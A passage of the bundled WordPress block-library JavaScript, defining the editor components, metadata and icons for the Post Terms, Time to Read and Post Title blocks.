40252 d: "M20 4H4v1.5h16V4zm-2 9h-3c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3zM4 9.5h9V8H4v1.5zM9 13H6c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3z",
40253 fillRule: "evenodd",
40254 clipRule: "evenodd"
40255 }
40256) });
40257
40258
40259;// ./node_modules/@wordpress/block-library/build-module/post-terms/block.json
40260const post_terms_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-terms","title":"Post Terms","category":"theme","description":"Post terms.","textdomain":"default","attributes":{"term":{"type":"string"},"textAlign":{"type":"string"},"separator":{"type":"string","default":", "},"prefix":{"type":"string","default":"","role":"content"},"suffix":{"type":"string","default":"","role":"content"}},"usesContext":["postId","postType"],"example":{"viewportWidth":350},"supports":{"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-post-terms"}');
40261;// ./node_modules/@wordpress/block-library/build-module/post-terms/use-post-terms.js
40262
40263
40264const use_post_terms_EMPTY_ARRAY = [];
40265function usePostTerms({ postId, term }) {
40266 const { slug } = term;
40267 return (0,external_wp_data_namespaceObject.useSelect)(
40268 (select) => {
40269 const visible = term?.visibility?.publicly_queryable;
40270 if (!visible) {
40271 return {
40272 postTerms: use_post_terms_EMPTY_ARRAY,
40273 isLoading: false,
40274 hasPostTerms: false
40275 };
40276 }
40277 const { getEntityRecords, isResolving } = select(external_wp_coreData_namespaceObject.store);
40278 const taxonomyArgs = [
40279 "taxonomy",
40280 slug,
40281 {
40282 post: postId,
40283 per_page: -1,
40284 context: "view"
40285 }
40286 ];
40287 const terms = getEntityRecords(...taxonomyArgs);
40288 return {
40289 postTerms: terms,
40290 isLoading: isResolving("getEntityRecords", taxonomyArgs),
40291 hasPostTerms: !!terms?.length
40292 };
40293 },
40294 [postId, term?.visibility?.publicly_queryable, slug]
40295 );
40296}
40297
40298
40299;// ./node_modules/@wordpress/block-library/build-module/post-terms/edit.js
40300
40301
40302
40303
40304
40305
40306
40307
40308
40309
40310const ALLOWED_FORMATS = [
40311 "core/bold",
40312 "core/image",
40313 "core/italic",
40314 "core/link",
40315 "core/strikethrough",
40316 "core/text-color"
40317];
40318function PostTermsEdit({
40319 attributes,
40320 clientId,
40321 context,
40322 isSelected,
40323 setAttributes,
40324 insertBlocksAfter
40325}) {
40326 const { term, textAlign, separator, prefix, suffix } = attributes;
40327 const { postId, postType } = context;
40328 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
40329 const showControls = blockEditingMode === "default";
40330 const selectedTerm = (0,external_wp_data_namespaceObject.useSelect)(
40331 (select) => {
40332 if (!term) {
40333 return {};
40334 }
40335 const { getTaxonomy } = select(external_wp_coreData_namespaceObject.store);
40336 const taxonomy = getTaxonomy(term);
40337 return taxonomy?.visibility?.publicly_queryable ? taxonomy : {};
40338 },
40339 [term]
40340 );
40341 const { postTerms, hasPostTerms, isLoading } = usePostTerms({
40342 postId,
40343 term: selectedTerm
40344 });
40345 const hasPost = postId && postType;
40346 const blockInformation = (0,external_wp_blockEditor_namespaceObject.useBlockDisplayInformation)(clientId);
40347 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
40348 className: dist_clsx({
40349 [`has-text-align-${textAlign}`]: textAlign,
40350 [`taxonomy-${term}`]: term
40351 })
40352 });
40353 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40354 showControls && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40355 external_wp_blockEditor_namespaceObject.AlignmentToolbar,
40356 {
40357 value: textAlign,
40358 onChange: (nextAlign) => {
40359 setAttributes({ textAlign: nextAlign });
40360 }
40361 }
40362 ) }),
40363 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40364 external_wp_components_namespaceObject.TextControl,
40365 {
40366 __next40pxDefaultSize: true,
40367 __nextHasNoMarginBottom: true,
40368 autoComplete: "off",
40369 label: (0,external_wp_i18n_namespaceObject.__)("Separator"),
40370 value: separator || "",
40371 onChange: (nextValue) => {
40372 setAttributes({ separator: nextValue });
40373 },
40374 help: (0,external_wp_i18n_namespaceObject.__)("Enter character(s) used to separate terms.")
40375 }
40376 ) }),
40377 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
40378 isLoading && hasPost && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
40379 !isLoading && (isSelected || prefix) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40380 external_wp_blockEditor_namespaceObject.RichText,
40381 {
40382 identifier: "prefix",
40383 allowedFormats: ALLOWED_FORMATS,
40384 className: "wp-block-post-terms__prefix",
40385 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Prefix"),
40386 placeholder: (0,external_wp_i18n_namespaceObject.__)("Prefix") + " ",
40387 value: prefix,
40388 onChange: (value) => setAttributes({ prefix: value }),
40389 tagName: "span"
40390 }
40391 ),
40392 (!hasPost || !term) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: blockInformation.title }),
40393 hasPost && !isLoading && hasPostTerms && postTerms.map((postTerm) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40394 "a",
40395 {
40396 href: postTerm.link,
40397 onClick: (event) => event.preventDefault(),
40398 rel: "tag",
40399 children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(postTerm.name)
40400 },
40401 postTerm.id
40402 )).reduce((prev, curr) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40403 prev,
40404 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "wp-block-post-terms__separator", children: separator || " " }),
40405 curr
40406 ] })),
40407 hasPost && !isLoading && !hasPostTerms && (selectedTerm?.labels?.no_terms || (0,external_wp_i18n_namespaceObject.__)("Term items not found.")),
40408 !isLoading && (isSelected || suffix) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40409 external_wp_blockEditor_namespaceObject.RichText,
40410 {
40411 identifier: "suffix",
40412 allowedFormats: ALLOWED_FORMATS,
40413 className: "wp-block-post-terms__suffix",
40414 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Suffix"),
40415 placeholder: " " + (0,external_wp_i18n_namespaceObject.__)("Suffix"),
40416 value: suffix,
40417 onChange: (value) => setAttributes({ suffix: value }),
40418 tagName: "span",
40419 __unstableOnSplitAtEnd: () => insertBlocksAfter(
40420 (0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)())
40421 )
40422 }
40423 )
40424 ] })
40425 ] });
40426}
40427
40428
40429;// ./node_modules/@wordpress/icons/build-module/library/post-terms.js
40430
40431
40432var post_terms_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M8.1 12.3c.1.1.3.3.5.3.2.1.4.1.6.1.2 0 .4 0 .6-.1.2-.1.4-.2.5-.3l3-3c.3-.3.5-.7.5-1.1 0-.4-.2-.8-.5-1.1L9.7 3.5c-.1-.2-.3-.3-.5-.3H5c-.4 0-.8.4-.8.8v4.2c0 .2.1.4.2.5l3.7 3.6zM5.8 4.8h3.1l3.4 3.4v.1l-3 3 .5.5-.7-.5-3.3-3.4V4.8zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z" }) });
40433
40434
40435;// ./node_modules/@wordpress/block-library/build-module/post-terms/hooks.js
40436
40437const variationIconMap = {
40438 category: post_categories_default,
40439 post_tag: post_terms_default
40440};
40441function enhanceVariations(settings, name) {
40442 if (name !== "core/post-terms") {
40443 return settings;
40444 }
40445 const variations = settings.variations.map((variation) => ({
40446 ...variation,
40447 ...{
40448 icon: variationIconMap[variation.name] ?? post_categories_default
40449 }
40450 }));
40451 return {
40452 ...settings,
40453 variations
40454 };
40455}
40456
40457
40458;// ./node_modules/@wordpress/block-library/build-module/post-terms/index.js
40459
40460
40461
40462
40463
40464
40465const { name: post_terms_name } = post_terms_block_namespaceObject;
40466const post_terms_settings = {
40467 icon: post_categories_default,
40468 edit: PostTermsEdit
40469};
40470const post_terms_init = () => {
40471 (0,external_wp_hooks_namespaceObject.addFilter)(
40472 "blocks.registerBlockType",
40473 "core/template-part",
40474 enhanceVariations
40475 );
40476 return initBlock({ name: post_terms_name, metadata: post_terms_block_namespaceObject, settings: post_terms_settings });
40477};
40478
40479
40480;// ./node_modules/@wordpress/icons/build-module/library/time-to-read.js
40481
40482
40483var time_to_read_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 3c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16.5c-4.1 0-7.5-3.4-7.5-7.5S7.9 4.5 12 4.5s7.5 3.4 7.5 7.5-3.4 7.5-7.5 7.5zM12 7l-1 5c0 .3.2.6.4.8l4.2 2.8-2.7-4.1L12 7z" }) });
40484
40485
40486;// ./node_modules/@wordpress/block-library/build-module/post-time-to-read/block.json
40487const post_time_to_read_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-time-to-read","title":"Time to Read","category":"theme","description":"Show minutes required to finish reading the post. Can also show a word count.","textdomain":"default","usesContext":["postId","postType"],"attributes":{"textAlign":{"type":"string"},"displayAsRange":{"type":"boolean","default":true},"displayMode":{"type":"string","default":"time"},"averageReadingSpeed":{"type":"number","default":189}},"supports":{"color":{"gradients":true,"__experimentalDefaultControls":{"background":true,"text":true}},"html":false,"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true}}}');
40488;// external ["wp","wordcount"]
40489const external_wp_wordcount_namespaceObject = window["wp"]["wordcount"];
40490;// ./node_modules/@wordpress/block-library/build-module/post-time-to-read/edit.js
40491
40492
40493
40494
40495
40496
40497
40498
40499
40500
40501function PostTimeToReadEdit({ attributes, setAttributes, context }) {
40502 const { textAlign, displayAsRange, displayMode, averageReadingSpeed } = attributes;
40503 const { postId, postType } = context;
40504 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
40505 const [contentStructure] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
40506 "postType",
40507 postType,
40508 "content",
40509 postId
40510 );
40511 const [blocks] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)("postType", postType, {
40512 id: postId
40513 });
40514 const displayString = (0,external_wp_element_namespaceObject.useMemo)(() => {
40515 let content;
40516 if (contentStructure instanceof Function) {
40517 content = contentStructure({ blocks });
40518 } else if (blocks) {
40519 content = (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocks);
40520 } else {
40521 content = contentStructure;
40522 }
40523 const wordCountType = (0,external_wp_i18n_namespaceObject._x)(
40524 "words",
40525 "Word count type. Do not translate!"
40526 );
40527 const totalWords = (0,external_wp_wordcount_namespaceObject.count)(content || "", wordCountType);
40528 if (displayMode === "time") {
40529 if (displayAsRange) {
40530 let maxMinutes = Math.max(
40531 1,
40532 Math.round(totalWords / averageReadingSpeed * 1.2)
40533 );
40534 const minMinutes = Math.max(
40535 1,
40536 Math.round(totalWords / averageReadingSpeed * 0.8)
40537 );
40538 if (minMinutes === maxMinutes) {
40539 maxMinutes = maxMinutes + 1;
40540 }
40541 const rangeLabel = (0,external_wp_i18n_namespaceObject._x)(
40542 "%1$s\u2013%2$s minutes",
40543 "Range of minutes to read"
40544 );
40545 return (0,external_wp_i18n_namespaceObject.sprintf)(rangeLabel, minMinutes, maxMinutes);
40546 }
40547 const minutesToRead = Math.max(
40548 1,
40549 Math.round(totalWords / averageReadingSpeed)
40550 );
40551 return (0,external_wp_i18n_namespaceObject.sprintf)(
40552 /* translators: %s: the number of minutes to read the post. */
40553 (0,external_wp_i18n_namespaceObject._n)("%s minute", "%s minutes", minutesToRead),
40554 minutesToRead
40555 );
40556 }
40557 if (displayMode === "words") {
40558 return wordCountType === "words" ? (0,external_wp_i18n_namespaceObject.sprintf)(
40559 /* translators: %s: the number of words in the post. */
40560 (0,external_wp_i18n_namespaceObject._n)("%s word", "%s words", totalWords),
40561 totalWords.toLocaleString()
40562 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
40563 /* translators: %s: the number of characters in the post. */
40564 (0,external_wp_i18n_namespaceObject._n)("%s character", "%s characters", totalWords),
40565 totalWords.toLocaleString()
40566 );
40567 }
40568 }, [
40569 contentStructure,
40570 blocks,
40571 displayAsRange,
40572 displayMode,
40573 averageReadingSpeed
40574 ]);
40575 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
40576 className: dist_clsx({
40577 [`has-text-align-${textAlign}`]: textAlign
40578 })
40579 });
40580 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40581 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40582 external_wp_blockEditor_namespaceObject.AlignmentControl,
40583 {
40584 value: textAlign,
40585 onChange: (nextAlign) => {
40586 setAttributes({ textAlign: nextAlign });
40587 }
40588 }
40589 ) }),
40590 displayMode === "time" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40591 external_wp_components_namespaceObject.__experimentalToolsPanel,
40592 {
40593 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
40594 resetAll: () => {
40595 setAttributes({
40596 displayAsRange: true
40597 });
40598 },
40599 dropdownMenuProps,
40600 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40601 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
40602 {
40603 isShownByDefault: true,
40604 label: (0,external_wp_i18n_namespaceObject._x)(
40605 "Display as range",
40606 "Turns reading time range display on or off"
40607 ),
40608 hasValue: () => !displayAsRange,
40609 onDeselect: () => {
40610 setAttributes({
40611 displayAsRange: true
40612 });
40613 },
40614 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40615 external_wp_components_namespaceObject.ToggleControl,
40616 {
40617 __nextHasNoMarginBottom: true,
40618 label: (0,external_wp_i18n_namespaceObject.__)("Display as range"),
40619 checked: !!displayAsRange,
40620 onChange: () => setAttributes({
40621 displayAsRange: !displayAsRange
40622 })
40623 }
40624 )
40625 }
40626 )
40627 }
40628 ) }),
40629 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: displayString })
40630 ] });
40631}
40632var post_time_to_read_edit_edit_default = PostTimeToReadEdit;
40633
40634
40635;// ./node_modules/@wordpress/icons/build-module/library/word-count.js
40636
40637
40638var word_count_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 5c1.1 0 2 .9 2 2v10c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zM5 6.5c-.3 0-.5.2-.5.5v10c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V7c0-.3-.2-.5-.5-.5zM14.734 9q.714 0 1.15.253.437.247.639.84.2.591.2 1.61v1.15q0 .402.036.667.04.258.172.39.138.127.437.127h.104l-.162.828h-.08q-.5 0-.776-.097a.9.9 0 0 1-.414-.283 2 2 0 0 1-.259-.448q-.316.367-.748.598-.43.23-.977.23-.524 0-.914-.213a1.56 1.56 0 0 1-.61-.58 1.65 1.65 0 0 1-.213-.84q0-.477.207-.817.213-.345.564-.568.357-.23.794-.363.437-.139.902-.196.471-.062.902-.068 0-.805-.315-1.053-.316-.247-.915-.247-.316 0-.678.098-.356.097-.805.408l-.15-.84a2.8 2.8 0 0 1 .846-.419A3.4 3.4 0 0 1 14.734 9m-5.877 1.669H9.86l.59-1.531h.689l-.585 1.53h.898l-.249.727h-.922l-.337.866h1.019l-.354.773h-.962l-.681 1.804h-.701l.69-1.804h-.999l-.693 1.804h-.69l.685-1.804H6.3l.34-.773h.915l.333-.866h-.994l.244-.726H8.16l.594-1.531h.693zm6.832 1.264q-.823.029-1.335.16-.506.133-.74.397-.236.265-.236.685 0 .454.241.66.248.202.632.202.414 0 .8-.207.39-.207.637-.552zm-7.441.328h1l.34-.866h-1z" }) });
40639
40640
40641;// ./node_modules/@wordpress/block-library/build-module/post-time-to-read/variations.js
40642
40643
40644const post_time_to_read_variations_variations = [
40645 {
40646 name: "time-to-read",
40647 title: (0,external_wp_i18n_namespaceObject.__)("Time to Read"),
40648 description: (0,external_wp_i18n_namespaceObject.__)("Show minutes required to finish reading the post."),
40649 attributes: {
40650 displayMode: "time"
40651 },
40652 scope: ["inserter", "transform"],
40653 isActive: (blockAttributes) => blockAttributes?.displayMode === "time",
40654 icon: time_to_read_default,
40655 isDefault: true
40656 },
40657 {
40658 name: "word-count",
40659 title: (0,external_wp_i18n_namespaceObject.__)("Word Count"),
40660 description: (0,external_wp_i18n_namespaceObject.__)("Show the number of words in the post."),
40661 attributes: {
40662 displayMode: "words"
40663 },
40664 scope: ["inserter", "transform"],
40665 isActive: (blockAttributes) => blockAttributes?.displayMode === "words",
40666 icon: word_count_default
40667 }
40668];
40669var post_time_to_read_variations_variations_default = post_time_to_read_variations_variations;
40670
40671
40672;// ./node_modules/@wordpress/block-library/build-module/post-time-to-read/index.js
40673
40674
40675
40676
40677
40678const { name: post_time_to_read_name } = post_time_to_read_block_namespaceObject;
40679const post_time_to_read_settings = {
40680 icon: time_to_read_default,
40681 edit: post_time_to_read_edit_edit_default,
40682 variations: post_time_to_read_variations_variations_default,
40683 example: {}
40684};
40685const post_time_to_read_init = () => initBlock({ name: post_time_to_read_name, metadata: post_time_to_read_block_namespaceObject, settings: post_time_to_read_settings });
40686
40687
40688;// ./node_modules/@wordpress/block-library/build-module/post-title/block.json
40689const post_title_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-title","title":"Title","category":"theme","description":"Displays the title of a post, page, or any other content-type.","textdomain":"default","usesContext":["postId","postType","queryId"],"attributes":{"textAlign":{"type":"string"},"level":{"type":"number","default":2},"levelOptions":{"type":"array"},"isLink":{"type":"boolean","default":false,"role":"content"},"rel":{"type":"string","attribute":"rel","default":"","role":"content"},"linkTarget":{"type":"string","default":"_self","role":"content"}},"example":{"viewportWidth":350},"supports":{"align":["wide","full"],"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-post-title"}');
40690;// ./node_modules/@wordpress/block-library/build-module/post-title/edit.js
40691
40692
40693
40694
40695
40696
40697
40698
40699
40700
40701function PostTitleEdit({
40702 attributes: { level, levelOptions, textAlign, isLink, rel, linkTarget },
40703 setAttributes,
40704 context: { postType, postId, queryId },
40705 insertBlocksAfter
40706}) {
40707 const TagName = level === 0 ? "p" : `h${level}`;
40708 const isDescendentOfQueryLoop = Number.isFinite(queryId);
40709 const userCanEdit = (0,external_wp_data_namespaceObject.useSelect)(
40710 (select) => {
40711 if (isDescendentOfQueryLoop) {
40712 return false;
40713 }
40714 return select(external_wp_coreData_namespaceObject.store).canUser("update", {
40715 kind: "postType",
40716 name: postType,
40717 id: postId
40718 });
40719 },
40720 [isDescendentOfQueryLoop, postType, postId]
40721 );
40722 const [rawTitle = "", setTitle, fullTitle] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
40723 "postType",
40724 postType,
40725 "title",
40726 postId
40727 );
40728 const [link] = (0,external_wp_coreData_namespaceObject.useEntityProp)("postType", postType, "link", postId);
40729 const onSplitAtEnd = () => {
40730 insertBlocksAfter((0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)()));
40731 };
40732 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
40733 className: dist_clsx({
40734 [`has-text-align-${textAlign}`]: textAlign
40735 })
40736 });
40737 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
40738 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
40739 let titleElement = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: (0,external_wp_i18n_namespaceObject.__)("Title") });
40740 if (postType && postId) {
40741 titleElement = userCanEdit ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40742 external_wp_blockEditor_namespaceObject.PlainText,
40743 {
40744 tagName: TagName,
40745 placeholder: (0,external_wp_i18n_namespaceObject.__)("No title"),
40746 value: rawTitle,
40747 onChange: setTitle,
40748 __experimentalVersion: 2,
40749 __unstableOnSplitAtEnd: onSplitAtEnd,
40750 ...blockProps
40751 }
40752 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40753 TagName,
40754 {
40755 ...blockProps,
40756 dangerouslySetInnerHTML: { __html: fullTitle?.rendered }
40757 }
40758 );
40759 }
40760 if (isLink && postType && postId) {
40761 titleElement = userCanEdit ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40762 external_wp_blockEditor_namespaceObject.PlainText,
40763 {
40764 tagName: "a",
40765 href: link,
40766 target: linkTarget,
40767 rel,
40768 placeholder: !rawTitle.length ? (0,external_wp_i18n_namespaceObject.__)("No title") : null,
40769 value: rawTitle,
40770 onChange: setTitle,
40771 __experimentalVersion: 2,
40772 __unstableOnSplitAtEnd: onSplitAtEnd
40773 }
40774 ) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40775 "a",
40776 {
40777 href: link,
40778 target: linkTarget,
40779 rel,
40780 onClick: (event) => event.preventDefault(),
40781 dangerouslySetInnerHTML: {
40782 __html: fullTitle?.rendered
40783 }
40784 }
40785 ) });
40786 }
40787 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40788 blockEditingMode === "default" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40789 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
40790 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40791 external_wp_blockEditor_namespaceObject.HeadingLevelDropdown,
40792 {
40793 value: level,
40794 options: levelOptions,
40795 onChange: (newLevel) => setAttributes({ level: newLevel })
40796 }
40797 ),
40798 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40799 external_wp_blockEditor_namespaceObject.AlignmentControl,
40800 {
40801 value: textAlign,
40802 onChange: (nextAlign) => {
40803 setAttributes({ textAlign: nextAlign });
40804 }
40805 }
40806 )
40807 ] }),
40808 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
40809 external_wp_components_namespaceObject.__experimentalToolsPanel,
40810 {
40811 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
40812 resetAll: () => {
40813 setAttributes({
40814 rel: "",
40815 linkTarget: "_self",
40816 isLink: false
40817 });
40818 },
40819 dropdownMenuProps,
40820 children: [
40821 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40822 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
40823 {
40824 label: (0,external_wp_i18n_namespaceObject.__)("Make title a link"),
40825 isShownByDefault: true,
40826 hasValue: () => isLink,
40827 onDeselect: () => setAttributes({ isLink: false }),
40828 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40829 external_wp_components_namespaceObject.ToggleControl,
40830 {
40831 __nextHasNoMarginBottom: true,
40832 label: (0,external_wp_i18n_namespaceObject.__)("Make title a link"),
40833 onChange: () => setAttributes({ isLink: !isLink }),
40834 checked: isLink
40835 }
40836 )
40837 }
40838 ),
40839 isLink && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
40840 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40841 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
40842 {
40843 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
40844 isShownByDefault: true,
40845 hasValue: () => linkTarget === "_blank",
40846 onDeselect: () => setAttributes({
40847 linkTarget: "_self"
40848 }),
40849 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40850 external_wp_components_namespaceObject.ToggleControl,
40851 {
40852 __nextHasNoMarginBottom: true,
40853 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
40854 onChange: (value) => setAttributes({
40855 linkTarget: value ? "_blank" : "_self"
40856 }),
40857 checked: linkTarget === "_blank"
40858 }
40859 )
40860 }
40861 ),
40862 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40863 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
40864 {
40865 label: (0,external_wp_i18n_namespaceObject.__)("Link relation"),
40866 isShownByDefault: true,
40867 hasValue: () => !!rel,
40868 onDeselect: () => setAttributes({ rel: "" }),
40869 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
40870 external_wp_components_namespaceObject.TextControl,
40871 {
40872 __next40pxDefaultSize: true,
40873 __nextHasNoMarginBottom: true,
40874 label: (0,external_wp_i18n_namespaceObject.__)("Link relation"),
40875 help: (0,external_wp_element_namespaceObject.createInterpolateElement)(
40876 (0,external_wp_i18n_namespaceObject.__)(
40877 "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
40878 ),
40879 {
40880 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
40881 }
40882 ),
40883 value: rel,
40884 onChange: (newRel) => setAttributes({ rel: newRel })
40885 }
40886 )
40887 }
40888 )
40889 ] })
